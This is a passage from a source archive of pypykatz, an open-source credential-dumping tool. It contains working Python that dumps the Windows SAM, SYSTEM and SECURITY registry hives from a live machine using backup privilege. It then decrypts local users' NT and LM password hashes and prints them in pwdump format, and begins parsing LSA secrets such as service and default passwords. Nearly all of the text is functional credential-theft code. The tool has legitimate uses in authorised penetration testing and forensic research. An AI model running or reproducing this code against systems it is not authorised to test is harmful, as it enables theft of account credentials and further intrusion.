else: sam_hive = open(sam_path, 'rb') po.sam_hive = AIOWinRegHive(sam_hive) except Exception as e: logger.error('Failed to open SAM hive! Reason: %s' % str(e)) raise e else: logger.warning('SAM hive path not supplied! Parsing SAM will not work') if security_path: try: if notfile == True: sec_hive = security_path else: sec_hive = open(security_path, 'rb') po.security_hive = AIOWinRegHive(sec_hive) except Exception as e: logger.error('Failed to open SECURITY hive! Reason: %s' % str(e)) raise e else: logger.warning('SECURITY hive path not supplied! Parsing SECURITY will not work') if software_path: try: if notfile == True: sof_hive = software_path else: sof_hive = open(software_path, 'rb') po.software_hive = AIOWinRegHive(sof_hive) except Exception as e: logger.error('Failed to open SECURITY hive! Reason: %s' % str(e)) raise e else: logger.warning('SOFTWARE hive path not supplied! Parsing SOFTWARE will not work') po.get_secrets() try: sec_hive.close() except: pass try: sam_hive.close() except: pass try: sys_hive.close() except: pass try: sof_hive.close() except: pass return po @staticmethod def from_live_system(): logger.debug('Obtaining registry from local system') try: from pypykatz.commons.winapi.processmanipulator import ProcessManipulator from pypykatz.commons.winapi.constants import SE_BACKUP import winreg import tempfile import os import ntpath except Exception as e: logger.error('Could not import necessary packages! Are you on Windows? Error: %s' % str(e)) raise sam_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex()) system_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex()) security_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex()) locations = [ ('SAM', sam_name), ('SYSTEM', system_name), ('SECURITY', security_name), ] logger.debug('Obtaining SE_BACKUP privilege...') try: po = ProcessManipulator() po.set_privilege(SE_BACKUP) except Exception as e: logger.error('Failed to obtain SE_BACKUP privilege! Registry dump will not work! Reason: %s' % str(e)) raise e logger.debug('Obtaining SE_BACKUP OK!') dumped_names = {} for reg_name, location in locations: logger.debug('Dumping %s...' % reg_name) try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_name, access=0x00020000) winreg.SaveKey(key, location) key.Close() except Exception as e: logger.error('Dumping %s FAILED!! Reason: %s' % (reg_name, str(e))) else: logger.debug('Dumping %s OK!' % reg_name) dumped_names[reg_name] = location ### ### Do Parsing here! ### po = None if 'SYSTEM' in dumped_names: try: po = OffineRegistry.from_files(system_name, sam_name if 'SAM' in dumped_names else None, security_name if 'SECURITY' in dumped_names else None) except Exception as e: import traceback traceback.print_exc() else: logger.error('Failed to dump SYSTEM hive, exiting...') logger.debug('Cleaning up temp files') for reg_name, location in locations: try: os.remove(location) except Exception as e: logger.error('Failed to clean up temp file for %s! Sensitive files might have been left on the filesystem! Path: %s Reason: %s' % (reg_name, location, str(e))) else: logger.debug('Cleanup for %s OK!' % reg_name) return po if __name__ == '__main__': po = OffineRegistry.from_live_system() print(str(po))././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/registry/sam/0000775000175000017500000000000014647211624017377 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/sam/__init__.py0000664000175000017500000000000014543266630021500 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/sam/asam.py0000664000175000017500000001343114543266630020676 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto import hashlib from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES from pypykatz.registry import logger from pypykatz.registry.sam.common import SAMSecret from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\ SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES # # The SAM hive holds the hashed passwords of the LOCAL machine users # There are alwas some local users present on your machine, regardless if it's domain-enrolled # # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs. # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes # class SAM: def __init__(self, sam_hive, bootkey): self.hive = sam_hive self.bootkey = bootkey self.hashed_bootkey = None self.machine_sid = None self.secrets = [] @staticmethod def rid_to_key(rid): key = int(rid, 16).to_bytes(4, 'little', signed = False) key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]] key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]] return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2)) def decrypt_hash(self, rid, hashobj, constant): key1, key2 = SAM.rid_to_key(rid) des1 = DES(key1) des2 = DES(key2) if isinstance(hashobj, SAM_HASH): rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest() key = RC4(rc4key).encrypt(hashobj.hash) else: key = b'' cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt) n = 16 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround key += cipher.decrypt(block) key = key[:16] dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:]) return dec_hash async def get_HBoot_key(self): logger.debug('SAM parsing hashed bootkey') QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" DIGITS = b"0123456789012345678901234567890123456789\0" F = await self.hive.get_value(r'SAM\Domains\Account\F') F = F[1] logger.log(1,'[SAM] F key value: %s' % F) domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F) if isinstance(domain_properties.key_0, SAM_KEY_DATA): rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest() self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum) checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest() if checksum != self.hashed_bootkey[16:]: logger.error('[SAM] HBootkey checksum verification failed!') raise Exception('[SAM] HBootkey checksum verification failed!') elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): self.hashed_bootkey = b'' cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt) n = 16 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround self.hashed_bootkey += cipher.decrypt(block) logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex()) return self.hashed_bootkey async def get_machine_sid(self): # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS # TODO: implement this try: uac_data = await self.hive.get_value('SAM\\Domains\\Account\\V') uac_data = uac_data[1] uac_data = uac_data[-12:] p1 = int.from_bytes( uac_data[:4], 'little', signed = False) p2 = int.from_bytes( uac_data[4:8], 'little', signed = False) p3 = int.from_bytes(uac_data[8:12], 'little', signed = False) self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3) except Exception as e: import traceback traceback.print_exc() return self.machine_sid async def get_secrets(self): logger.debug('SAM get_secrets invoked') NTPASSWORD = b"NTPASSWORD\0" LMPASSWORD = b"LMPASSWORD\0" NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0' LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee' await self.get_HBoot_key() await self.get_machine_sid() names = await self.hive.enum_key('SAM\\Domains\\Account\\Users') for rid in names: uac = None if rid == 'Names': continue key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid logger.debug('[SAM] Parsing secrets for RID: %s' % rid) uac_data = await self.hive.get_value(key_path) uac_data = uac_data[1] uac = USER_ACCOUNT_V.from_bytes(uac_data) nthash = bytes.fromhex(NTDEFAULT) lmhash = bytes.fromhex(LMDEFAULT) if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES): if uac.NT_hash.data != b'': nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH): if uac.NT_hash.hash != b'': nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES): if uac.LM_hash.data != b'': lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH): if uac.LM_hash.hash != b'': lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash) self.secrets.append(secret) return self.secrets def to_dict(self): t = {} t['HBoot_key'] = self.hashed_bootkey t['local_users'] = [] for secret in self.secrets: t['local_users'].append( secret.to_dict()) return t def __str__(self): t = '============== SAM hive secrets ==============\r\n' t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex() for secret in self.secrets: t += '%s\r\n' % secret.to_lopth() return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/sam/common.py0000664000175000017500000000106214543266630021242 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import json class SAMSecret: def __init__(self, username, rid, nt_hash, lm_hash): self.username = username self.rid = rid self.nt_hash = nt_hash self.lm_hash = lm_hash def to_dict(self): return { 'username' : self.username, 'rid' : self.rid, 'nt_hash' : self.nt_hash, 'lm_hash' : self.lm_hash, } def to_json(self): return json.dumps(self.to_dict()) def to_lopth(self): return '%s:%s:%s:%s:::' % (self.username, self.rid, self.lm_hash.hex(), self.nt_hash.hex())././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/sam/sam.py0000664000175000017500000001323414543266630020536 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto import hashlib from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES from pypykatz.registry import logger from pypykatz.registry.sam.common import SAMSecret from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\ SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES # # The SAM hive holds the hashed passwords of the LOCAL machine users # There are alwas some local users present on your machine, regardless if it's domain-enrolled # # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs. # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes # class SAM: def __init__(self, sam_hive, bootkey): self.hive = sam_hive self.bootkey = bootkey self.hashed_bootkey = None self.machine_sid = None self.secrets = [] @staticmethod def rid_to_key(rid): key = int(rid, 16).to_bytes(4, 'little', signed = False) key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]] key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]] return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2)) def decrypt_hash(self, rid, hashobj, constant): key1, key2 = SAM.rid_to_key(rid) des1 = DES(key1) des2 = DES(key2) if isinstance(hashobj, SAM_HASH): rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest() key = RC4(rc4key).encrypt(hashobj.hash) else: key = b'' cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt) n = 16 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround key += cipher.decrypt(block) key = key[:16] dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:]) return dec_hash def get_HBoot_key(self): logger.debug('SAM parsing hashed bootkey') QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" DIGITS = b"0123456789012345678901234567890123456789\0" F = self.hive.get_value(r'SAM\Domains\Account\F')[1] logger.log(1,'[SAM] F key value: %s' % F) domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F) if isinstance(domain_properties.key_0, SAM_KEY_DATA): rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest() self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum) checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest() if checksum != self.hashed_bootkey[16:]: logger.error('[SAM] HBootkey checksum verification failed!') raise Exception('[SAM] HBootkey checksum verification failed!') elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): self.hashed_bootkey = b'' cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt) n = 16 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround self.hashed_bootkey += cipher.decrypt(block) logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex()) return self.hashed_bootkey def get_machine_sid(self): # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS # TODO: implement this try: uac_data = self.hive.get_value('SAM\\Domains\\Account\\V')[1] uac_data = uac_data[-12:] p1 = int.from_bytes( uac_data[:4], 'little', signed = False) p2 = int.from_bytes( uac_data[4:8], 'little', signed = False) p3 = int.from_bytes(uac_data[8:12], 'little', signed = False) self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3) except Exception as e: import traceback traceback.print_exc() return self.machine_sid def get_secrets(self): logger.debug('SAM get_secrets invoked') NTPASSWORD = b"NTPASSWORD\0" LMPASSWORD = b"LMPASSWORD\0" NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0' LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee' self.get_HBoot_key() self.get_machine_sid() for rid in self.hive.enum_key('SAM\\Domains\\Account\\Users'): uac = None if rid == 'Names': continue key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid logger.debug('[SAM] Parsing secrets for RID: %s' % rid) uac_data = self.hive.get_value(key_path)[1] uac = USER_ACCOUNT_V.from_bytes(uac_data) nthash = bytes.fromhex(NTDEFAULT) lmhash = bytes.fromhex(LMDEFAULT) if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES): if uac.NT_hash.data != b'': nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH): if uac.NT_hash.hash != b'': nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES): if uac.LM_hash.data != b'': lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH): if uac.LM_hash.hash != b'': lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash) self.secrets.append(secret) return self.secrets def to_dict(self): t = {} t['HBoot_key'] = self.hashed_bootkey t['local_users'] = [] for secret in self.secrets: t['local_users'].append( secret.to_dict()) return t def __str__(self): t = '============== SAM hive secrets ==============\r\n' t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex() for secret in self.secrets: t += '%s\r\n' % secret.to_lopth() return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/sam/structures.py0000664000175000017500000003225714543266630022207 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io class DOMAIN_ACCOUNT_F: def __init__(self): self.revision = None self.unk1 = None self.creation_time = None self.domain_modified_count = None self.max_pw_age = None self.min_pw_age = None self.force_logoff = None self.lockout_duration = None self.lockout_observation_window = None self.unk2 = None self.next_rid = None self.pw_properties = None self.min_pw_length = None self.pw_history_length = None self.lockout_treshold = None self.unk3 = None self.server_state = None self.server_role = None self.uas_compatibility_req = None self.unk4 = None self.key_0 = None @staticmethod def from_bytes(data): return DOMAIN_ACCOUNT_F.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): df = DOMAIN_ACCOUNT_F() df.revision = int.from_bytes(buff.read(4), 'little', signed = False) df.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) df.creation_time = int.from_bytes(buff.read(8), 'little', signed = False) df.domain_modified_count = int.from_bytes(buff.read(8), 'little', signed = False) df.max_pw_age = int.from_bytes(buff.read(8), 'little', signed = False) df.min_pw_age = int.from_bytes(buff.read(8), 'little', signed = False) df.force_logoff = int.from_bytes(buff.read(8), 'little', signed = False) df.lockout_duration = int.from_bytes(buff.read(8), 'little', signed = False) df.lockout_observation_window = int.from_bytes(buff.read(8), 'little', signed = False) df.unk2 = int.from_bytes(buff.read(8), 'little', signed = False) df.next_rid = int.from_bytes(buff.read(4), 'little', signed = False) df.pw_properties = int.from_bytes(buff.read(4), 'little', signed = False) df.min_pw_length = int.from_bytes(buff.read(2), 'little', signed = False) df.pw_history_length = int.from_bytes(buff.read(2), 'little', signed = False) df.lockout_treshold = int.from_bytes(buff.read(2), 'little', signed = False) df.unk3 = int.from_bytes(buff.read(2), 'little', signed = False) df.server_state = int.from_bytes(buff.read(4), 'little', signed = False) df.server_role = int.from_bytes(buff.read(2), 'little', signed = False) df.uas_compatibility_req = int.from_bytes(buff.read(2), 'little', signed = False) df.unk4 = int.from_bytes(buff.read(8), 'little', signed = False) pos = buff.tell() marker = buff.read(1) buff.seek(pos,0) if marker == b'\x01': df.key_0 = SAM_KEY_DATA.from_buffer(buff) elif marker == b'\x02': df.key_0 = SAM_KEY_DATA_AES.from_buffer(buff) return df def __str__(self): t = '== DOMAIN_ACCOUNT_F ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class SAM_KEY_DATA: def __init__(self): self.revision = None self.length = None self.salt = None self.key = None self.checksum = None self.reserved = None @staticmethod def from_bytes(data): return SAM_KEY_DATA.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = SAM_KEY_DATA() sk.revision = int.from_bytes(buff.read(4), 'little', signed = False) sk.length = int.from_bytes(buff.read(4), 'little', signed = False) sk.salt = buff.read(16) sk.key = buff.read(16) sk.checksum = buff.read(16) sk.reserved = int.from_bytes(buff.read(8), 'little', signed = False) return sk def __str__(self): t = '== SAM_KEY_DATA ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class SAM_KEY_DATA_AES: def __init__(self): self.revision = None self.length = None self.checksum_length = None self.data_length = None self.salt = None self.data = None @staticmethod def from_bytes(data): return SAM_KEY_DATA_AES.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = SAM_KEY_DATA_AES() sk.revision = int.from_bytes(buff.read(4), 'little', signed = False) sk.length = int.from_bytes(buff.read(4), 'little', signed = False) sk.checksum_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.data_length = int.from_bytes(buff.read(4), 'little', signed = False) sk.salt = buff.read(16) sk.data = buff.read(sk.data_length) return sk def __str__(self): t = '== SAM_KEY_DATA_AES ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class USER_ACCOUNT_V: def __init__(self): self.Unknown = None self.NameOffset = None self.NameLength = None self.Unknown2 = None self.FullNameOffset = None self.FullNameLength = None self.Unknown3 = None self.CommentOffset = None self.CommentLength = None self.Unknown31 = None self.UserCommentOffset = None self.UserCommentLength = None self.Unknown4 = None self.Unknown5 = None self.HomeDirOffset = None self.HomeDirLength = None self.Unknown6 = None self.HomeDirConnectOffset = None self.HomeDirConnectLength = None self.Unknown7 = None self.ScriptPathOffset = None self.ScriptPathLength = None self.Unknown8 = None self.ProfilePathOffset = None self.ProfilePathLength = None self.Unknown9 = None self.WorkstationsOffset = None self.WorkstationsLength = None self.Unknown10 = None self.HoursAllowedOffset = None self.HoursAllowedLength = None self.Unknown11 = None self.Unknown12 = None self.LMHashOffset = None self.LMHashLength = None self.Unknown13 = None self.NTHashOffset = None self.NTHashLength = None self.Unknown14 = None self.Unknown15 = None self.Data = None self.name = None self.fullname = None self.comment = None self.usercomment = None self.homedir = None self.homedir_connect = None self.script_path = None self.profile_path = None self.workstations = None self.hoursallowed = None self.LM_hash = None self.NT_hash = None @staticmethod def from_bytes(data): return USER_ACCOUNT_V.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): uac = USER_ACCOUNT_V() uac.Unknown = buff.read(12) uac.NameOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.NameLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown2 = int.from_bytes(buff.read(4), 'little', signed = False) uac.FullNameOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.FullNameLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown3 = int.from_bytes(buff.read(4), 'little', signed = False) uac.CommentOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.CommentLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown31 = int.from_bytes(buff.read(4), 'little', signed = False) uac.UserCommentOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.UserCommentLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown4 = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown5 = buff.read(12) uac.HomeDirOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.HomeDirLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown6 = int.from_bytes(buff.read(4), 'little', signed = False) uac.HomeDirConnectOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.HomeDirConnectLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown7 = int.from_bytes(buff.read(4), 'little', signed = False) uac.ScriptPathOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.ScriptPathLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown8 = int.from_bytes(buff.read(4), 'little', signed = False) uac.ProfilePathOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.ProfilePathLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown9 = int.from_bytes(buff.read(4), 'little', signed = False) uac.WorkstationsOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.WorkstationsLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown10 = int.from_bytes(buff.read(4), 'little', signed = False) uac.HoursAllowedOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.HoursAllowedLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown11 = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown12 = buff.read(12) uac.LMHashOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.LMHashLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown13 = int.from_bytes(buff.read(4), 'little', signed = False) uac.NTHashOffset = int.from_bytes(buff.read(4), 'little', signed = False) uac.NTHashLength = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown14 = int.from_bytes(buff.read(4), 'little', signed = False) uac.Unknown15 = buff.read(24) data_offset = buff.tell() if uac.NameLength > 0: buff.seek(data_offset +uac.NameOffset) uac.name = buff.read(uac.NameLength).decode('utf-16-le') if uac.FullNameLength > 0: buff.seek(data_offset +uac.FullNameOffset) uac.fullname = buff.read(uac.FullNameLength).decode('utf-16-le') if uac.CommentLength > 0: buff.seek(data_offset +uac.CommentOffset) uac.comment = buff.read(uac.CommentLength).decode('utf-16-le') if uac.UserCommentLength > 0: buff.seek(data_offset +uac.UserCommentOffset) uac.usercomment = buff.read(uac.UserCommentLength).decode('utf-16-le') if uac.HomeDirLength > 0: buff.seek(data_offset +uac.HomeDirOffset) uac.homedir = buff.read(uac.HomeDirLength).decode('utf-16-le') if uac.HomeDirConnectLength > 0: buff.seek(data_offset +uac.HomeDirConnectOffset) uac.homedir_connect = buff.read(uac.HomeDirConnectLength).decode('utf-16-le') if uac.ScriptPathLength > 0: buff.seek(data_offset +uac.ScriptPathOffset) uac.script_path = buff.read(uac.ScriptPathLength).decode('utf-16-le') if uac.ProfilePathLength > 0: buff.seek(data_offset +uac.ProfilePathOffset) uac.profile_path = buff.read(uac.ProfilePathLength).decode('utf-16-le') if uac.WorkstationsLength > 0: buff.seek(data_offset +uac.WorkstationsOffset) uac.workstations = buff.read(uac.WorkstationsLength).decode('utf-16-le') if uac.HoursAllowedLength > 0: buff.seek(data_offset +uac.HoursAllowedOffset) uac.hoursallowed = buff.read(uac.HoursAllowedLength) if uac.NTHashLength > 0: buff.seek(data_offset + uac.NTHashOffset + 2) if buff.read(1) == b'\x01': if uac.NTHashLength == 20: buff.seek(data_offset + uac.NTHashOffset) uac.NT_hash = SAM_HASH.from_bytes(buff.read(uac.NTHashLength)) if uac.LMHashLength == 20: buff.seek(data_offset + uac.LMHashOffset) uac.LM_hash = SAM_HASH.from_bytes(buff.read(uac.LMHashLength)) else: if uac.LMHashLength == 24: buff.seek(data_offset + uac.LMHashOffset) uac.LM_hash = SAM_HASH_AES.from_bytes(buff.read(uac.LMHashLength)) buff.seek(data_offset +uac.NTHashOffset) uac.NT_hash = SAM_HASH_AES.from_bytes(buff.read(uac.NTHashLength)) return uac def __str__(self): t = '== USER_ACCOUNT_V ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class SAM_HASH: def __init__(self): self.pekID = None self.revision = None self.hash = None @staticmethod def from_bytes(data): return SAM_HASH.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = SAM_HASH() sk.pekID = int.from_bytes(buff.read(2), 'little', signed = False) sk.revision = int.from_bytes(buff.read(2), 'little', signed = False) sk.hash = buff.read(16) return sk def __str__(self): t = '== SAM_HASH ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class SAM_HASH_AES: def __init__(self): self.pekID = None self.revision = None self.data_offset = None self.salt = None self.data = None @staticmethod def from_bytes(data): return SAM_HASH_AES.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = SAM_HASH_AES() sk.pekID = int.from_bytes(buff.read(2), 'little', signed = False) sk.revision = int.from_bytes(buff.read(2), 'little', signed = False) sk.data_offset = int.from_bytes(buff.read(4), 'little', signed = False) sk.salt = buff.read(16) sk.data = buff.read() return sk def __str__(self): t = '== SAM_HASH_AES ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/registry/security/0000775000175000017500000000000014647211624020466 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/security/__init__.py0000664000175000017500000000000014543266630022567 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/security/acommon.py0000664000175000017500000001600414543266630022474 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto.hashlib import md4 as MD4 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM from pypykatz.commons.common import hexdump # # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret # it will store the decrypted secret in raw bytes # # class LSASecret: def __init__(self,key_name, raw_secret, history = False): self.raw_secret = raw_secret self.key_name = key_name self.history = history @staticmethod async def process(key_name, raw_secret, history = False, system_hive = None): kn = key_name.upper() if len(raw_secret) == 0: return if raw_secret.startswith(b'\x00\x00'): return if kn.startswith('_SC_'): lss = LSASecretService(kn, raw_secret, history, system_hive) await lss.process_secret() elif kn.startswith('DEFAULTPASSWORD'): lss = LSASecretDefaultPassword(kn, raw_secret, history) lss.process_secret() elif kn.startswith('ASPNET_WP_PASSWORD'): lss = LSASecretASPNET(kn, raw_secret, history) lss.process_secret() elif kn.startswith('DPAPI_SYSTEM'): lss = LSASecretDPAPI(kn, raw_secret, history) lss.process_secret() elif kn.startswith('$MACHINE.ACC'): lss = LSASecretMachineAccount(kn, raw_secret, history) lss.process_secret() else: lss = LSASecret(kn, raw_secret, history) return lss def __str__(self): return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret) def to_dict(self): t = {} t['type'] = 'LSASecret' t['key_name'] = self.key_name t['history'] = self.history t['raw_secret'] = self.raw_secret return t class LSASecretService(LSASecret): def __init__(self, key_name, raw_secret, history, system_hive = None): LSASecret.__init__(self, key_name, raw_secret, history) self.system_hive = system_hive self.service = None self.username = None self.secret = None async def process_secret(self): try: self.secret = self.raw_secret.decode('utf-16-le') except: self.secret = self.raw_secret.hex() else: #here you may implement a mechanism to fetch the service user's name #TODO self.service = self.key_name self.username = 'UNKNOWN' if 